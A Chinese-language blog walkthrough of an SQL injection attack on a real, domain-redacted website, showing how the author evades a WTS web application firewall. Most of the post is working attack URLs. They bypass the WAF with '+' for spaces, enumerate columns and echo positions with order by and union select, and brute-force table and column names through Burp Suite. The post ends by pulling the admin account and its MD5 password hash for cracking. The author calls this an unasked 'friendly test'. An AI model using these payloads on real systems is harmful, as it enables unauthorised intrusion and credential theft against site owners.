实战绕过WTS-WAF的SQL注入
- 1.前言
- 2.测试流程
- 2.1.发现漏洞
- 2.1.1.正常页面
- 2.1.2.WAF警告
- 2.1.3.非正常页面
- 2.2.判断字段数
- 2.2.1.非正常页面
- 2.2.2.正常页面
- 2.3.判断回显位
- 2.4.信息收集
- 2.4.1.数据库版本
- 2.4.2.数据库名
- 2.5.判断数据库表
- 2.5.1.WAF告警
- 2.5.2.获取表
- 2.5.3.burp suite测试
- 2.5.4.表名称
- 2.6.判断数据库列
- 2.7.获取数据
- 2.7.1.账户
- 2.7.2.密码
- 3.总结
1.前言
本人在做完测试了,所保留的信息均已删除且未保留,只是友好的测试,并非有意为之。若侵权请联系我进行删帖。
2.测试流程
2.1.发现漏洞
这里发现漏洞也是通过URL来进行判断的,发现存在?id=22,那么就激情我的测试的兴趣了,但是and 1=2–+上来就给我干出了WAF,然后这里就需要考虑如何绕过WAF了。
2.1.1.正常页面
这里可以看到页面是正常的。
2.1.2.WAF警告
通过页面发现,被WAF警告了,同时也显示了该WAF为WTS,那么就简单了上网上找一下,WTS-WAF绕过方式。但是呢,之前也学过就没有立即去找相关的绕过方式,采用的是+号代替空格进行测试。
2.1.3.非正常页面
这里也是很棒,竟然使用+号代替空格真能绕过,那么就可以继续向下测试了。
2.2.判断字段数
前面我们通过+号替换空格绕过了,那么下面我们就要接着测试了。通过order by来测试字段数。这里截图为了方便,就直接截图下面的信息,上面的就不截图了。
2.2.1.非正常页面
这里我们测试到order by 22–+的时候,出现报错了,那么就可以证明字段数为21。
URL:http://www.XXXXX.com/XXXX.php?id=22+order+by+22--+
2.2.2.正常页面
这里我们输入21的时候页面正常了,只是和正常的页面还是有点区别。
URL:http://www.XXXXX.com/XXXXX.php?id=22+order+by+21--+
2.3.判断回显位
到这里我们就需要判断回显位是哪里了。使用union select继续测试。
这里通过测试回显位是7,那么就可以利用这个7来进行下面的测试。
URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+
2.4.信息收集
这里我们主要收集数据库名,和数据库版本,通过页面出现的报错,也能够了解到,使用的是mysql数据库。
2.4.1.数据库版本
这里我们得到的数据库版本是:5.7.37。
URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21--+#
2.4.2.数据库名
这里我们得到的数据库名是:ahshyydz。
URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21--+#
2.5.判断数据库表
既然我们获取到了数据库名以及版本,那么我们就可以使用mysql大于5.0版本中的特性来获取数据。
2.5.1.WAF告警
本以为到这里能够成功过去的,结果又出现告警,后来通过查询文章以及手动测试发现是由于group_concat 和括号 () 在一起的时候才会触发拦截。那么没办法只有一个一个测试了。
URL:http://www.XXXXXXX.com/XXXXX.php?id=-22+union+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.tables+where+table_schema=%22ahshyydz%22--+
2.5.2.获取表
这里我们就只能使用limit一个一个测试了,这里我们成功获取到第一个表,但是向后测试发现不止一个表,为了方便我们使用burp suite进行测试。
URL:http://www.XXXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables+where+table_schema=%22ahshyydz%22+limit+0,1--+
2.5.3.burp suite测试
这里我们使用软件自动加数字来进行爆破。
2.5.4.表名称
这里我们通过测试得到了很多的表,为了避免信息泄露,这里我就挑选几个疑似账号密码的表来测试。
表名:admin_authority、admin_login、admininfo
2.6.判断数据库列
到这里我们就要进行数据库的列进行判断了,之前我们得知使用group_concat会被检测,既然这样,那么我们还是一个一个测试。
这里依旧使用我们的工具进行测试,这里就不演示过程了,直接上结果吧,这里我们获取到username与passwd表,其它的表我们不管。
URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.columns+where+table_name=%22admininfo%22+limit+0,1--+
2.7.获取数据
这里我们就获取到表与列了,那么就可以进行数据获取了,而获取数据的办法同样是这样操作。
2.7.1.账户
这里由于显示位只有一个就先测试账户吧,这里结果测试只有一个admin账户。
URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from%20admininfo+limit+0,1--+
2.7.2.密码
这里账户就一个,那么密码应该也就是一个,这里我们只测试一个吧,并且这个密码还是md5加密,这里我们找个平台进行解密即可。
URL:http://www.XXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,passwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from%20admininfo+limit+0,1--+
3.总结
其实这个网站主要的困难就是需要绕WAF,通常想这类的WAF在百度搜一搜都会有相关的绕过方式的。